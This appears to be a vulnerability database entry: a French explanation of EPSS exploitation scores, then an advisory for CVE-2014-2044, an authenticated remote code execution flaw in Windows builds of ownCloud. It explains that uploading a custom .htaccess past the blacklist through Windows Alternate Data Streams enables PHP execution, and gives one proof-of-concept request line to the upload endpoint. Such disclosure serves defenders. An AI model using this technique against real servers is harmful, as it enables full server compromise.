EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Vulnerability title: Remote Code Execution in ownCloud
CVE: CVE-2014-2044
Vendor: ownCloud
Product: ownCloud
Affected version: 4.0.x & 4.5.x
Fixed version: 5.0
Reported by: Alejo Murillo Moya
Details:
A remote code execution has been found and confirmed within ownCloud as
an authenticated user. A successful attack could allow an authenticated
attacker to execute PHP code, which could lead to a full compromise of
the server and associated infrastructure. Please note that only the
Windows versions of ownCloud are affected and that valid credentials are
required.
It is possible to create a custom .htaccess into the user's folder on
Windows version of the application, which will enable PHP execution on
the folder. This vulnerability exists because it is possible to bypass
the internal blacklists using Windows ADS (Alternate Data Streams).
Proof Of Concept:
POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1
